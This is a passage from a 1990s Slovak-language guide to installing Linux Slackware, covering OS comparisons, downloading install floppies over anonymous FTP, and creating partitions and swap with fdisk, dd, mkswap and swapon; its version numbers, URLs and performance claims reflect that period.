WINDOWS NT 3.51 48- 60 MB 16 MB 32 MB
LINUX + X-WINDOW 60-300 MB 16 MB 32 MB
OS/2 KUZELNIK ??? 24 MB 48 MB
WINDOWS NT 4.00 60-80 MB 24 MB 48 MB
S Linuxom mate dodane aj velmi kvalitne prekladace objektoveho C, assembleru, fortranu, pascalu, interpretre prikazov ako aj mnozstvo textovych editorov vratane rozsiahleho EMACS, textovy procesor LaTex ( umoznuje pisanie clankov a knih ), dokumentaciu a rozne aplikacie. Preto je velmi tazke napisat do predoslej tabulky presnu hodnotu spotreby miesta na disku. Cisty Linux bez X-window a swap particie zabera menej nez 20 MB. S X-Window je to cca 60-80 MB. Mimochodom, Linux obsahuje tolko softwareu, ze ak by bol dodavany komercne, zaplatili by ste zan URCITE viac ako 100 000 SK :-).

Minimum RAM je minimalna hodnota pre dobry beh systemu. Napriklad ja som pouzival WINDOWS NT 3.51 na pocitaci s 8 MB RAM a bezal. A nebezal horsie ako LINUX + X-Window. 8 MB je na X-Window malo. Aj na WINDOWS NT. Programy Vam pobezia, ale nebudete stastni. Minimum RAM odporucane pre Windows NT je 12 MB.

WINDOWS NT ma takmer rovnako rychlu grafiku ako Linux (Windows '95 zdaleka nedosahuje jej kvality), preemptivny multitasking (v porovnani s Windows '95, ktore multitaskuju slabo) a v porovnani s Linuxom lepsiu ochranu suborov. Je mozne upresnit prava na pracu s adresarmi a subormi pre jednotlive skupiny, ba dokonca pre kazdeho pouzivatela zvlast. Zapis na disketu je vsak v operacnom systeme Windows NT omnoho pomalsi ako v operacnom systeme Windows 95. Pri zapise mnozstva malych suborov na disketu v rychlosti opat vitazi Linux.

Z hladiska principov su si OS/2, WINDOWS NT a Linux velmi podobne. Windows NT moze pocas behu automaticky podla potreby menit velkost swap suboru. To Linux nedokaze. Swapovacie particie Windows NT nema a ani nepotrebuje, pretoze so swap suborom pracuje rovnako rychlo ako Linux so swap particiou. Linux pracuje so swap suborom pracuje omnoho pomalsie. Windows NT ma zabudovanu kompresiu dat ( sposobi, ze data zaberu na disku asi len polovicu miesta, nez by mali ) a da sa nastavit zvlast pre jednotlive subory ci adresare. Dlhe nazvy suborov su vo Windows NT rovnako mozne ako v Linuxe - a nainstalovat a pouzivat diakritiku v systeme Windows NT je "hracka". Neviem, ci je suborovy system MICROSOFT WINDOWS NT - NTFS z Linuxu "viditelny". Kedze uz nejde o FAT system, mozno ze nie je. Nemam s tym skusenosti. Windows NT som instaloval na particiu pouzivajucu VFAT - suborovy system WINDOWS '95, ktoru Linux dobre pozna. A instalacnemu programu som ju nedovolil skonvertovat na NTFS. Zial,ochudobnil som sa tym o moznost nastavovat prava a kompresiu na subory a adresare. Samozrejme Linuxacke particie ziaden iny system nepozna. Windows NT vsak vie spristupnit urcite podadresare ( o tom, ktore, rozhodujete Vy ) Linuxu ked WINDOWS NT bezi na danom stroji a Linux na inom - teda na sieti.

Osobne by som teda bol najskor za WINDOWS NT, pretoze pren existuje najviac software a je teda velka sanca, ze medzi nim najdete aj ten, ktory potrebujete. No v tomto roku je k dispozicii OS/2 ovladatelna ludskou recou a ma teda pred ostatnymi operacnymi systemami PORIADNY naskok. Aj keby totiz toto ovladanie bolo velmi slabe, ani Linux nebol od zaciatku super. A Windows uz vobec nie...

Toto je vsak instalacna prirucka Linuxu a nie reklama na WINDOWS NT. Ak ste sa teda megalomaniacky rozhodli nainstalovat Linux na Vas pocitac, citajte dalej.

Pre instalaciu Linuxu si potrebujeme stiahnut co najnovsiu distribuciu ( uz som spominal, ze v tejto casti prirucky budem popisovat instalaciu distribucie Linux Slackware ) z nejakeho ftp servra. Je mozna a celkom pohodlna instalacia z CD-ROM. Disk CD-ROM si vsak musite zohnat ( z hladiska licencie nie je nevyhnutne ho kupit ). Vacsinou je najmladsia verzia dostupna na CD-ROM trochu stara. Ked si uvedomime, ze Linux je realne pouzitelny asi tak 4 roky ( od roku 1993, dovtedy boli dost slabe verzie - prva koncom roku 1991 ), instalaciou minulorocnej verzie stracate 20 % vylepseni, co je zavazne hlavne pre X-Window. A co viac, musite zan zaplatit firme, ktora ho predava, niekolko tisic SK. A pritom platite za staru verziu.

Instalacia z CD-ROM je teda krajnou moznostou pre tych, ktori nemaju BEZPLATNY pristup k INTERNETu ci inej sieti pouzitelnej na stiahnutie Linuxu.

Je rozumnejsie nejaku distribuciu Linuxu stiahnut z ftp servra. FTP server je UNIXovsky pocitac sluziaci hlavne ako "poskytovac suborov". V ziadnom pripade to nemusi byt jeho jedine urcenie. V skutocnosti, ak si na svojom pocitaci nainstalujete podporu sieti, bude moct prakticky okamzite sluzit aj ako fileserver pre ine pocitace. Jediny, kto o tom rozhoduje, ste Vy sam. Samozrejme pridavam kratky kurz ftp. Este predtym si vsak uvedme adresy, kde mozno najst Linux. Rozne distribucie Linuxu mozeme najst v adresari

sunsite.unc.edu:/pub/Linux/distributions
Konkretne Linux Slackware je k dispozicii urcite aspon na tychto strojoch
sunsite.unc.edu:/pub/Linux/distributions/slakware
tsx-11.mit.edu:/pub/linux/packages/slackware
ftp.cdrom.com:/pub/Linux/slackware
ftp.cdrom.com je "domovsky pristav" Linuxu Slackware.

Domovska www stranka Linuxu je

http://sunsite.unc.edu/mdw/linux.html

a najznamejsie USENET skupiny ( citatelne napriklad programom tin ) su

comp.os.linux.announce
comp.os.linux.help
comp.os.linux.admin
comp.os.linux.development
comp.os.linux.misc
Aby som nezabudol, stranky typu http://... mozete citat programom Netscape pod systemom X-Window alebo Microsoft Windows. V Microsoft Windows '95 mozete najst podobny program s nazvom Microsoft Internet Explorer. Obidva programy dokazu prezerat aj obrazky, animacie a prehravat zvuky. Dokonca sa mozete pohrat s virtualnou relitou. Rozhodne sa s nimi nudit nebudete. Skuste napriklad napisat do editacneho ramca jedneho z uvedenych programov adresu
http://www.playboy.com
a stlacit klavesu ENTER...

Diskusne skupiny siete USENET umoznuje citat program trn ci tin. Napiste

$ tin
a riadte sa menu. Toto je instalacna prirucka pre ludi bez pristupu k sietam. Poviem Vam teda len tolko: Aby ste mohli citat obsah clankov nejakej skupiny, musite sa do nej prihlasit = zapisat ( subscribe ). Prikaz y)ank ( stlacite len znak y, cast textu za zatvorkou je v menu len pre pochopenie ) zobrazi obnovi vsetky skupiny, bez ohladu na to, ci ste do nich prihlaseni.Program tin Vam totiz po spusteni zobrazi len tie skupiny, do ktorych ste prihlaseni. Prikaz y)ank zobrazi vsetky skupiny. Kurzorovymi klavesami ( to su tie, ktore sluzia na ovladanie pohybu kurzora na monitore v textovych editoroch, teda 'sipky' ) sa pohybujete po jednotlivych skupinach ( niekde v pravej hornej casti obrazovky je zobrazeny ich pocet - je ich niekolko tisic ) a prikazom s)ubscribe sa do nich zapisujete. Prikazom u)nsubscribe sa z diskusnej skupiny odhlasite. Clanky mozete citat - ale aj zasielat svoje vlastne. Pri citani clanku mozete pouzivat klavesu <ENTER>, <sipku doprava> alebo <medzernik>. Viac Vam nepoviem, prisli by ste o pozitok z objavovania... Nezabudnite vyuzit vstavanu pomoc ako aj prikaz man tin.

Mozete pouzit aj Mailovske skupiny. Ich zoznam ako aj postup, ako sa do nich pripojit, Vam zaslu, ak poslete mail ( napriklad programom elm ) na adresu:

linux-activists@nikula.hut.fi
Okrem beznych "kanalov" ( NORMAL ) sa tam dozviete aj detaily o vyrabani jadra ( KERNEL ), kompilatora gcc ( GCC ) o TCP/IP ( Transfer Control Protocol / Internet protocol ), sietach ( NET ), o tom, ako vyrobit dokumentaciu ( kanal DOC ) atd.

Pre Vasu informaciu este dodavam, ze distribuciu Linux Slakware, ktorej instalaciu v dalsej casti prirucky popisem, vyrobil Patrick Volkerding. Jeho INTERNETovska adresa je

volkerdi@mhd1.moorhead.msus.edu

FILE TRANSFER PROTOCOL

Ked sa spociatku niekto pripajal pocitac k inemu UNIXovskemu pocitacu len aby na nom spustal programy, jeho pouzivatelovi stacil program emulator terminalu. Tento program urobil z pocitaca, za ktorym sedel pouzivatel, iba neinteligentny terminal - klavesnicu a obrazovku. Ak sme vsak chceli preniest subor z pocitaca na pocitac, nastal problem. Elektronicka posta sice umoznuje poslat textovy subor ( a binarny subor sme schopni zakodovat pomocou prikazu uuencode na textovy ), ale prenos suborov takymto sposobom je znacne nepohodlny a zdlhavy.

Jedna z moznosti, ako preklenut dany problem, je program ftp. Na prenos suborov pouziva file transfer protocol - protokol na prenos suborov. My si teraz popiseme pracu s tymto programom. Prihlasime sa na pocitac kosice.upjs.sk a stiahneme odtial Linux.

Ak mate na danom pocitaci konto ( = login ), ftp Vam umozni stahovat subory z kazdeho adresara, na do ktoreho mate bezne pristup. My na pocitaci kosice.upjs.sk login nemame, preto sa musime prihlasit ako anonymny pouzivatel. Pravdepodobne sice nebudeme mat pristupne domovske adresare pouzivatelov, ale to nevadi. Nakoniec, toto nie je prirucka crackera. Servre umoznujuce prihlasovat sa anonymnym pouzivatelom cez program ftp sa casto nazyvaju anonymne ftp servre.

Povedzme, ze chceme stahovat Linux na diskety. Preto spustime ftp z MS-DOSu. Najprv sa prepneme na disketu, ktoru samozrejme vlozime do prislusnej mechaniky, prikazom MS-DOSU

a:
Potom spustime program ftp a povieme mu, na ktoru adresu nas ma pripojit.
ftp kosice.upjs.sk
... login: anonymous
password: root@hron.fei.tuke.sk
Program ftp v skutocnosti vypisuje ine veci, nez som tu napisal ja ( udaje o servri a dalsie informacie ), ale ako ukazka to staci ( pouzivatel pise presne to, co som napisal ja ).

Vidime, ze ako prihlasovacie meno treba zadat anonymous a ako prihlasovacie heslo svoju adresu na UNIXovskom pocitaci, kde mame konto. Kedze program ftp nevie zistit, ci klameme, mozeme zadat lubovolnu adresu - v skutocnosti nemusime mat heslo na ziadnom pocitaci. Presnejsie povedane, casto sa len kontroluje pritomnost ampersandu za nejakym slovom - priklad:

login: anonymous
password: mam_ta@
nam rovnako umozni prihlasit sa. To je dobre vediet nielen pre hackerov. Tento priklad ukazuje, ze v UNIXovej ochrane je mnozstvo "dier". Aj ked anonymous ftp nie je pravy priklad - poziadavka na heslo tu v skutocnosti nema velky zmysel.

teraz napiste

> ls
Pouzivate teda UNIXovske prikazy. > nepisete, je to jedna z moznych vyziev programu ftp. Napiste teda len ls.
> ls
pub
ww
>
Teraz musime prehladat jednotlive adresare prikazmi cd a ls a najst distribuciu Linuxu. Toto tu simulovat nebudem, idem do fiktivneho adresara.
> cd pub/linux
Skor, nez zacneme stahovat subory, musime program ftp prepnut do binarneho modu ako aj zrusit jeho ukecanost - inak by sa do nekonecna pytal na to, ci chcete stiahnut subor xxx hoci ste napisali, ze ano... Dufam, ze ste pochopili, ze hlavny problem v UNIXe je jeho neinteligentnost ako aj absolutne priruckove vakuum - neexistuju prirucky, ktore by rychlo, jasne a kvalitne popisali instalaciu a pouzitie programov. (Hoci anglickych priruciek je cela kopa.) Kazdy program v UNIXe ma svoje finty, vacsinou uplne odlisne od inych. Ziadne jednotne ovladanie. Prave tu do popredia vystupuje Linux, ktory stale viac "vytrca" svojou kvalitou nad ostatne UNIXovske operacne systemy. Aj on vsak stale patri do jedneho vreca s ostatnymi systemami.

Standardne ftp prenasa textove subory a robi pre nas nevhodne konverzie znakov. Preto ho prepneme na binarny mod:

> binary
a vypneme ukecanost
> prompt
Teraz sme v adresari linux. Aby sme mohli nainstalovat Linux, potrebujeme vytvorit dve instalacne diskety. Prva zavedie jadro Linuxu a druha obsahuje akusi nahradu disku - urobi sa z nej virtualny disk v operacnej pamati RAM ( =RAMDISK ). Samozrejme, len pri instalacii. Obsah obidvoch diskiet je ulozeny v specialnych suboroch. Program, ktory ich zapise na disketu, sa vola rawrite.exe. Jadro Linuxu pre instalaciu zavedie tzv. bootovacia disketa. Prislusny subor s jej obsahom je potrebne hladat v adresaroch, ktore maju v nazve slovo "bootdisk". Napriklad na stroji
sunsite.unc.edu
(tu byva Linux od zaciatku distribucii a tu treba hladat najnovsie veci) ho najdeme v adresari
bootdsks.144
pre 1,44 MB 31/2 DS-HD diskety, resp.

bootdsks.12

pre 1,2 MB 51/4 DS-HD diskety. V nich je textovy subor "README" alebo "WHICH.ONE" alebo podobny, ktory obsahuje informacie o jednotlivych bootovacich disketach. Potrebujete len jednu, ale kazda obsahuje ine ovladace. Ak mate standardnu konfiguraciu - IDE hard disk bez sieti - vystacite s boot diskom, ktory ma v nazve slovo "bare". Vo verzii Linux 3.1.0 ma tento subor nazov "bare.i".

Root disketu obsahujucu obraz virtualneho disku si stiahnete z adresara, ktory ma v nazve slovo "root". V Linux 3.1.0 ma nazov "color.gz". Napriek koncovke ".gz" ju neslobodno rozbalovat. Ak chcete instalovat cez MS-DOSovsky disk, potrebujete "umsdos" -> v sucasnej verzii je to "umsdos.gz". Na stroji

sunsite.unc.edu
je v adresari
rootdsks.144
respektive
rootdsks.12
Adresare vsak v case, ked citate tento manual, mozu byt pozmenene, napriklad rootdsks.144 a rootdsks.12 mozu byt zamenene za jediny - rootdsks. Subor "rawrite.exe" by mal byt umiestneny niekde v adresari, ktory ma v nazve slovo "install". Napriklad Linux byva od zaciatku k dispozicii na adrese
sunsite.unc.edu
a program RAWRITE.EXE mozeme najst v adresari
/pub/Linux/system/Install/rawwrite
Vsetko by malo byt stiahnutelne na jednu disketu. Postupne sa prepinajte do prislusnych adresarov a "tahajte". Priklad
> cd install
> ls
 .
 .
 rawrite.exe
 .
 .
> get rawrite.exe
Teraz stiahneme ostatne subory v adresari slackware alebo slakware. Vzdy jeden adresar na jednu disketu. Priklad
> cd slackware
> cd A1
> mget *
Vymenime disketu
> cd ../A2
> mget *
atd.

SADY DISKIET DISTRIBUCIE LINUX SLAKWARE

Ked potrebne sady diskiet skoprijuete na diskety (nezabudnite, ze usetrite 4000 SK :-) a donesiete domov, mozete zacat instalovat.

Mate dve moznosti, odkial instalovat. Mozete instalovat priamo z diskiet alebo ich obsah prekopirovat na hard disk a instalovat z hard disku. Instalacia z hard disku ma viacero vyhod. Zakladnou vyhodou je rychlost. Prekopirovanie diskiet na hard disk a nasledna instalacia Linuxu z hard disku zabera menej casu ako priama instalacia z diskiet. Okrem toho sa vyhnete tomu, ze po hodine instalacie zistite, ze disketa xyz ma chybny cluster ( resp. ze niektora chyba ). No a nakoniec, v pripade, ze urobite chybu, opatovna instalacia z disku je omnoho rychlejsia ako z diskiet. Z disku nebudete chciet instalovat ak na nom nemate dost miesta alebo ak ho potrebujete rozdelit, pretoze zrusenim particii vymazete vsetky na nich ulozene udaje. Ak chcete instalovat z disku, vytvorte adresar pre diskety. Napriklad \slakware a pre kazdu disketu v nom vytvorte zvlastny adresar. Teda disketa A1 pojde do adresara A1 atd. Co robit v pripade, ze ste si nepoznacili na diskety ich nazvy ? Nezufajte. Na kazdej diskete sa musi nachadzat subor, ktorym ju instalacny program identifikuje. Napriklad na diskete patriacej do adresara A1 sa musi nachadzat subor diska1. Podla neho diskety identifikujete. Len tak pre zaujimavost, kazda seria diskiet musi koncit disketou, ktora obsahuje subor install.end. Podla neho instalacny program vie, ze seria konci. Ja som napriklad nestiahol disketu K6 a program setup ma upozornil, ze disketova sada K nie je kompletna. Co robit v takom pripade ? Kludne instalujte dalej ! Jedine, co potrebujete urobit, je to, ze prislusne diskety stiahnete spravne a celu seriu preinstalujete este raz. Nemali by s tym byt problemy. Konkretne - jediny program schopny robit problemy je ghostview, pretoze seria pre X-Window data ponecha a prepise len binarny subor ( program ). Preto pozor, ak vas problem nastane na disketach AP a instalujete aj XAP, pri opravnej reinstalacii diskiet AP uz neinstalujte ghostview. Alebo so seriou AP preinstalujte aj seriu XAP.

Linux dokaze "bezat" na particii naformatovanej pre MS-DOS. Avsak ked mu pridelime vlastnu particiu, na ktorej moze pouzit vlastny suborovy system ext2 (second extended), ziskame nasledovne vyhody:

  1. Autodetekcia korektneho alebo nasilneho rebootu s naslednou opravou diskov.
  2. Ochrana proti poskodeniu vsetkych suborov na disku (mozme to prirovnat k rozhadzanej FAT - ide o i-nodovy system suborov).
  3. Priama podpora az 256 znakov dlhych nazvov suborov a adresarov (To funguje aj pri instalacii cez MS-DOSosvsky format disku).
  4. Moznost volby velkosti alokacnych blokov.
  5. Hard linky nealokuju ziaden alokacny blok. Na MS-DOS particii zaberaju jeden alokacny cluster - niekolko KB. Pre zaujimavost - Microsoft Windows '95 su schopne pouzit svoje linky ( prikaz "vlozit zastupce" ) a tiez zaberaju jeden alokacny cluster.
  6. Kvoli uchovavaniu informacii o ochrane suborov a kvoli dlhym nazvom kazdy podadresar adresara Linux na particii MS-DOS obsahuje subor ---linux.---. Tento subor prikaz ls nezobrazuje, ale pri pokuse o vytvorenie suboru s tymto nazvom ho system odmietne vytvorit. A samozrejme zabera aspon 1 alokacny cluster (na particii s formatom ext2 nie je potrebny a teda nezabera ani bajt).
  7. Podpora particii (resp. logickych diskov) velkych az 4 TB ( TB = tera byte = 1024 GB ) na rozdiel od MS-DOSu ci Microsoft Windows '95 podporujucich maximalne 2 GB particie.
  8. Hlavna vyhoda citelne rychlejsi pristup na disk.
Originalna literatura bod 8 popiera, ale prakticke skusenosti pri pokuse prejst z Linuxackej particie na DOSovsku a pouzivat Linux na nej ukazali vyrazne spomalenie prace systemu. Pri sucasnom pokuse viacerych pouzivatelov o pristup na disk je spomalenie este badatelnejsie.

No pokial chcete Linux iba vyskusat ( alebo ho pouzivat iba kratku dobu ), instalacia na particiu zdielanu s MS-DOSom pre Vas moze byt idealna. Vytvori si podadresar \linux a v nom je cely Linux, takze ak sa rozhodnete, ze Vas uz Linux nezaujima, jednoducho podadresar \linux vymazete. Ba dokonca ho mozete prekopirovat na inu MS-DOS particiu a spustat z nej. Ako chcete.

PRIPRAVA DISKU

Bez zachadzania do detailov a vynimiek si povedzme, ze na hard disku mozu byt maximalne 4 primarne particie. Namiesto jednej z nich na hard disku moze byt tzv. extended particia (oblast), v ktorej moze byt viacero tzv. logickych diskov. Kazda primarna particia vlastne zastupuje jeden logicky disk. Extended particia umoznuje umiestnit na nej prakticky lubovolny pocet logickych diskov (niektori ludia tvrdia, ze iba 16).

Je velmi pravdepodobne, ze ak ste uz zakupili pocitac s operacnym systemom, ktory nainstaloval predajca, ma len jedinu - primarnu DOSovsku particiu. Zial, disk je potrebne rozdelit, teda primarnu DOSovsku particiu zmazat a vytvorit ju mensiu. Znamena to stratu vsetkych dat na rusenej particii. Program fips.exe sa moze pokusit defragmentovat Vasu DOSovsku particiu a nasledne ju zmensit, je to vsak rizikove. Na vymazavanie a vytvaranie particii ( repartitioning ) pouzivajte program fdisk operacneho systemu, ktoremu particia patri. Particie vytvorene operacnym systemom MS-DOS zruste fdiskom systemu MS-DOS. Nezasahujte fdiskom jedneho operacneho systemu na particie druheho. Jedina vynimka plati pre OS/2. U tohto operacneho systemu vsetky particie vytvarate a rusite len pomocou OS/2. Aj Linuxacke. Podobna vynimka plati pre Windows NT.

Ak ste vytvorili Linuxacke particie ( najlepsie obidve primarne, ale mozu byt aj na sekundarnej (extended) particii - dokonca ich mozno miesat s logickymi particiami ineho operacneho systemu na tej istej extended particii ) systemom OS/2 alebo MS-DOSom ( ako logicke disky na extended particii ), staci ich uz len OZNACIT ako Linuxacke ( vid dalej ).

Najjednoduchsie je urobit primarnu particiu pre napr. MS-DOS a zvysok disku nechat pre Linux.

POZNAMKA:

1. V skutocnosti som bez akychkolvek problemov vytvaral logicke disky jedneho operacneho systemu fdiskom ineho operacneho systemu. Problemy nastali az pri pokuse vytvorit logicke disky MS-DOSu v extended particii Linuxovym fdiskom.

2. Na reparticiovanie nepouzivajte utility dodavane na disketach spolu s hard diskom ci maticnou doskou - napriklad disk manager. Pouzivajte DOSovsky fdisk. Linux ma s tymito programami problemy, pretoze nedodrziavaju situaciu, ze hranicou particie musi byt cylinder ( a OS/2 aj Linuxu to vadi ).

Linuxacke diskety boot a root vytvorime programom rawrite.exe. Priklad

> rawrite.exe bare.i a: ( .i znamena jadro s ovladacmi pre IDE disky )
> rawrite.exe color.gz a: ( color znamena farebny setup )
Do disketovej mechaniky vlozime disketu boot ( bare.i ) a zabootujeme z diskety. Vypise sa LILO. To je program Linux Loader, ktory sluzi na zabootovanie operacneho systemu ( podobny program maju MICROSOFT WINDOWS NT ). Vacsinou nemusite robit nic, len stlacit klavesu <enter>. Nacita sa obsah disku a system caka na vlozenie dalsej diskety root ( color.gz ). Po jej vlozeni odklepnite <enter>.

Problemy by pri novych verziach byt nemali, stare verzie Linuxu s novymi velkymi diskami problemy mat mozu ale velmi lahko sa s nimi da vysporiadat. Ak Linux nerozpozna Vas disk, staci mu na zaciatku ( po vypise LILO ) zadat parameter

root = cyl,hd,sec
kde hd je pocet hlav disku, cyl pocet cylindrov a sec pocet sektorov na cylinder. Pre detailnejsiu pomoc citajte uvodny vypis programu LILO.

Ked uz ste uspesne zabootovali, mate dve moznosti. Instalovat cez MS-DOS ( ak ste pouzili ako root disketu umsdos.gz ) alebo na novu Linux particiu.

INSTALACIA LINUXU NA MS-DOS PARTICIU

Disk umsdos.gz obsahuje chybu. Hned po svojom zavedeni Vam ponukne moznost vytvorit swapovaci subor. Ak nemate viac ako 4 MB RAM, budete ho pre uspesnu instalaciu potrebovat. Povolte teda jeho vytvorenie a pamatajte pritom na pravidla o velkosti swapu uvedene vyssie. S velkou pravdepodobnostou sa mu nepodari subor aktivovat ( pravdepodobne tam autori zabudli dodat prikaz sync a system sa pokusi pristupovat na swap subor skor, nez je cely fyzicky ulozeny na disku ). Musite to opravit rucne. Napiste
# sync
# swapon /mnt/dev/swapfile
Prikaz free Vam ukaze, ci je swap aktivovany. Ak nie, jeho velkost bude 0. Prikaz df Vam ukaze, ake particie existuju ako aj dostupny priestor na nich a pomoze Vam identifikovat, ako sa vola Vas disk. Nazvy diskov su upresnene na zaciatku dalsieho odseku.

Co vsak v pripade, ze subor /mnt/dev/swapfile ci /mnt/etc/swapfile neexistuje ? Ak mate menej ako 5 MB RAM, budete musiet vytvorit vlastny swap subor. Ako ?

Najjednoduchsie je napisat:

# dd if=/dev/zero bs=1024k count=8 of=/dev/swapfile
 8+0 records in 8+0 records out
#
Prikaz dd vytvori subor o count MB v adresari /dev. V nasom priklade sa swapovaci subor vola /dev/swapfile a ma 8 MB. Aplikujme nanho prikaz mkswap
# mkswap /dev/swapfile
 Setting up swapspace, size = 8384512 bytes
#
a nasledne
# sync
pockame 3 sekundy a napiseme
# swapon /dev/swapfile
#

INSTALACIA LINUXU NA SAMOSTATNE PARTICIE

Ake nazvy priraduje Linux zariadeniam ? Absolutne vsetky zariadenia su spristupnene v adresari /dev. Je to skratka od devices = zariadenia. Kazde zariadenie (presnejsie jeho ovladac) je tu symbolicky reprezentovane suborom. Prvy IDE disk je reprezentovany suborom /dev/hda. h = hard, d = disk, a = prvy. Jeho prva fyzicka particia je pristupna ako subor /dev/hda1. Pripadny druhy disk je /dev/hdb a jeho prva particia je /dev/hdb1 atd. Logicke disky v extended particii disku su cislovane od 5, pretoze cisla 1 az 4 su vzdy rezervovane pre fyzicke particie (oddiely) disku.

Priklad:

Majme primarnu DOSovsku particiu. Ta je DOSu znama ako C: a Linuxu ako /dev/hda1 u IDE disku resp. /dev/sda1 u SCSI disku. Ak je na disku aj extended particia, Linux ju chape ako /dev/hda2 resp. /dev/sda2. DOS je schopny v extended particii rozoznat len svoje logicke disky a oznacuje ich ako D:, E: atd. V nasom priklade su dve, D: a E:. Linux ich bude oznacovat ako /dev/hda5 a /dev/hda6, lebo /dev/hda3 a /dev/hda4 su nazvy rezervovane pre dalsie fyzicke oddiely disku.

Ak este zostalo nevyuzite miesto na extended particii, mozeme do nej pridat dalsie logicke disky a Linux ich bude oznacovat ako /dev/hda7 atd. Ak vsak pridame primarne oddiely disku - su to /dev/hda3 a /dev/hda4.

Mozno to vyzera krkolomne, ale je to celkom jednoduche a logicke. Primarne particie su /dev/hda1-4 a logicke su /dev/hda5-???. Na jednom fyzickom disku smu byt maximalne 4 primarne particie z velmi jednoducheho dvovodu: Je obmedzena velkost tabulky oddielov ( particion record ). Avsak, aby sme mohli mat viac ako 4 logicke disky ( pre pouzivatela aj system sa javia ako samostatne disky a nerobi medzi logickymi a fyzickymi diskami rozdiely ), jedna fyzicka particia moze byt extended - sluzi na "uskladnenie" viacero logickych diskov.

V skutocnosti ma mnoho systemov samostatne particie pre adresare /usr (je tu prakticky vsetok software nedodany s Linuxom a je tu aj X-Window), /home (tu byvaju pouzivatelske adresare) a /tmp ( temporary = tu si system a pouzivatelia ukladaju "docasne" subory - napriklad si sem len po dobu svojej cinnosti ukladaju docasne subory systemy X-Window, gcc ( oficialny kompilator jazyka C dodany s Linuxom ), elm, vi atd.

Fajn. Mame teda urobenu dosovsku particiu. Ukazme si na priklade pracu s Linuxovskym fdiskom. Pridelime jednu particiu Linuxu a jednu swapu, obidve particie budu primarne disky:

# fdisk /dev/hda
Command (m for help): p
Disk /dev/hda: 32 heads, 63 sectors, 827 cylinders Units = cylinders of 2016 * 512 bytes
Device    Boot   Begin   Start   End   Blocks   Id  System
/dev/hda1 *      1       1       519   523120+  6   DOS 16-bit >=32M
Command (m for help):
Teda spustili sme fdisk na prvy fyzicky disk /dev/hda. Ak mame viac diskov, proceduru musime zopakovat pre vsetky, na ktorych chceme pridelit Linuxu miesto. Na prompt "Command (m for help):" programu fdisk sme odpovedali prikazom p ( print the particion table = napis obsah tabulky particii ).

Vidime, ze DOSovsky disk zabera 519 cylindrov z moznych 827. Je to 523120 blokov, teda asi 512 MB. Zvysna cast 827-519 cylindrov nam ostala volna. Vyrobme najprv swapovaciu particiu. Poradie particii vsak nie je dolezite.

Command (m for help): n

Command action e extended p primary partition (1-4)
Zadal som prikaz n ( new = novu ). System pochopil, ze chcem zaalokovat novu particiu a pyta sa, ci extended alebo primary. V nasom priklade vytvarame primarne particie, preto volime p - primary.
Command (m for help): n
Command action e extended p primary partition (1-4) p
Partition number (1-4): 2
First cylinder (520-827): 520
Last cylinder or +size or +sizeM or +sizeK ([520]-827): +32M
Command (m for help):
Takze potom chcel system vediet cislo novej particie - zadal som 2, lebo particia /dev/hda1 uz existuje a patri DOSu. Prvy cylinder som zvolil 520 ( nemam dovod ponechavat volne miesto medzi particiami ) a +32M znamena, ze particia ma mat cca 32 MB ( system cislo zaokruhli tak, aby koncila presne na konci cylindra ). Prikaz p teraz ukaze stav na disk este nezapisanej tabulky particii
Command (m for help): p

Disk /dev/hda: 32 heads, 63 sectors, 827 cylinders
Units = cylinders of 2016 * 512 bytes

   Device Boot   Begin    Start      End   Blocks   Id  System
/dev/hda1   *        1        1      519   523120+   6  DOS 16-bit >=32M
/dev/hda2          520      520      552    33264   83  Linux native

Command (m for help):
To som nechcel - chcem particiu pre swap, nie Linux native. Preto musim zmenit jej typ prikazom t ( chang type = zmen typ ) na 82 - Linux swap

Command (m for help): t
Partition number (1-4): 2
Hex code (type L to list codes): 82
Changed system type of partition 2 to 82 (Linux swap)

Command (m for help): p

Disk /dev/hda: 32 heads, 63 sectors, 827 cylinders
Units = cylinders of 2016 * 512 bytes

Device Boot Begin Start End Blocks Id System
/dev/hda1 * 1 1 519 523120+ 6 DOS 16-bit >=32M
/dev/hda2 520 520 552 33264 82 Linux swap

Command (m for help):

Vyborne. Teraz ju uz Linux rozpoznal ako swap particiu. Vytvorme aj Linuxovsku particiu. Pouzijeme rovnaky postup, len nebudeme menit jej typ:

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 3
First cylinder (553-827): 553
Last cylinder or +size or +sizeM or +sizeK ([553]-827): 827
Command (m for help):
Uz som uviedol posledny cylinder, lebo chcem mat particiu do konca disku. Vypisme si obsah tabulky particii.
Command (m for help): p

Disk /dev/hda: 32 heads, 63 sectors, 827 cylinders
Units = cylinders of 2016 * 512 bytes

   Device Boot   Begin    Start      End   Blocks   Id  System
/dev/hda1   *        1        1      519   523120+   6  DOS 16-bit >=32M
/dev/hda2          520      520      552    33264   82  Linux swap
/dev/hda3          553      553      827   277200   83  Linux native

Command (m for help):
Presne to sme chceli. Teraz pozor. Prikaz w vsetko zapise do tabulky particii a pokusi sa zapisat nove informacie do tabulky particii v jadre. Je vsak vzdy lepsie rebootnot - odhlasit sa zo systemu (napisat exit) a stlacenim kombinacie klaves Ctrl-Alt-Del rebootnut pocitac. Co ak ste urobili chybu pri vytvarani particii ? Nic sa nestalo. Kym ste nepouzili prikaz w, vsetko bolo ulozene len v pamati a cinnost programu fdisk mozete bez ulozenia novej tabulky particii na disk kedykolvek ukoncit prikazom q. Kedze ja som robil pokus ako root na uz beziacom systeme, musim pouzit prikaz q, aby system nezapisal obsah tabulky particii na disk:

Command (m for help): q
darkstar:~#

Co znamenaju znaky darkstar:~# ? darkstar je implicitne oznacenie mojho pocitaca ( mozem ho samozrejme zmenit ) a ~ znamena, ze som v domovskom adresari. : sluzi len na oddelenie mena pocitaca od cesty do adresara, kde sa prave nachadzam a # je nam uz znamy prompt pre roota.

Ak mate menej ako 5 MB RAM, po rebootovani musite aktivovat swap particiu. T.j. napisete

# mkswap -c /dev/hda2
Setting up swapspace, size = 34062336 bytes
#
Cislo moze byt trochu ine. A nasledne napiste
# sync
# swapon /dev/hda2
#
Teraz uz konecne mozete spustit instalacny program setup.
# setup
Ak instalujete Linux Slackware, program setup zobrazi menu s niekolkymi polozkami. Prvu polozku pouzite ADDSWAP. Ak ste spravne nainstalovali swapovaciu particiu, bude Vam ponuknuta swapovacia particia: Do You wish to instal this as Your swap particion ? Nainstalujte ju. Program Vas bude varovat, ci ma urobit mkswap ( Mkswap warning - use mkswap ? ) a nasledne swapon ( Activate swap space ? ).

CITAJTE, CO SA VAS SETUP PYTA !

